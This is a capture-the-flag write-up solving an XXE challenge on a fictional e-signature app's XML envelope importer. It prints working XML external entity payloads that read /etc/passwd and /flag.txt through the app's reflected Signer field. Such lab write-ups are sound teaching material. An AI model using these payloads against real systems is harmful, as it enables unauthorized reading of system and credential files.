Post

Webverselabs Foldmark Challenge XXE

Webverselabs Foldmark Challenge XXE

Scenario :

Foldmark serves about five thousand small businesses and has held SOC 2 Type II since 2024. Last quarter the sales team kept losing migration deals to “we can’t bring our history with us,” so the product team shipped a cross-vendor envelope importer on a tight deadline — drop in a file from a competitor and Foldmark renders a preview with the signer, document title, organization and timestamp lifted straight from the document.

Solution :

image

As usual, we first naviage the application like a normal user , check different endpoints , different features , … , This is a documents signing app that uses xml docs , we find this /docs endpoint which gives us an example of the strcuture that our envelope should take .

image

Fuzzing didn’t reuturn any additional endpoints , let’s just create an account .

image

We do find this /import endpoint which allows us to impore xml files , now first we will use the example we found in the /docs page , just to get an idea of what fields are returned to us once we submit the file .

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE envelope [
  <!ENTITY provider "Example E-Sign Corp">
]>
<envelope>
  <Signer>Patricia Vance</Signer>
  <DocumentTitle>Q1 Mutual NDA</DocumentTitle>
  <Timestamp>2026-05-13T09:14:22Z</Timestamp>
  <Organization>Vance &amp; Holloway LLP</Organization>
  <SourceProvider>&provider;</SourceProvider>
</envelope>

image

We see that the Singer , Document title and Organization are all returned to us , now first test would be to add a New entity then reference it in one of the fields returned to us .

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE envelope [
  <!ENTITY provider "Example E-Sign Corp">
  <!ENTITY xxe "It_worked">
]>
<envelope>
  <Signer>&xxe;</Signer>
  <DocumentTitle>Q1 Mutual NDA</DocumentTitle>
  <Timestamp>2026-05-13T09:14:22Z</Timestamp>
  <Organization>Vance &amp; Holloway LLP</Organization>
  <SourceProvider>&provider;</SourceProvider>
</envelope>

image

The fact that it is reflected to us is a good sign , now let’s try to read External files , in this case the /etc/passwd , for this one we can use SYSTEM which is the XML keyword that tells the parser to fetch an external resource ,the file:// is the URI scheme that tells it where to fetch from.

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE envelope [
  <!ENTITY provider "Example E-Sign Corp">
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<envelope>
  <Signer>&xxe;</Signer>
  <DocumentTitle>Q1 Mutual NDA</DocumentTitle>
  <Timestamp>2026-05-13T09:14:22Z</Timestamp>
  <Organization>Vance &amp; Holloway LLP</Organization>
  <SourceProvider>&provider;</SourceProvider>
</envelope>

image

Perfect , now that we can read files on the system , we can read the flag on the root directory : /flag.txt

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE envelope [
  <!ENTITY provider "Example E-Sign Corp">
  <!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<envelope>
  <Signer>&xxe;</Signer>
  <DocumentTitle>Q1 Mutual NDA</DocumentTitle>
  <Timestamp>2026-05-13T09:14:22Z</Timestamp>
  <Organization>Vance &amp; Holloway LLP</Organization>
  <SourceProvider>&provider;</SourceProvider>
</envelope>

image

That was it for this challenge , see you in the next one :)

This post is licensed under CC BY 4.0 by the author.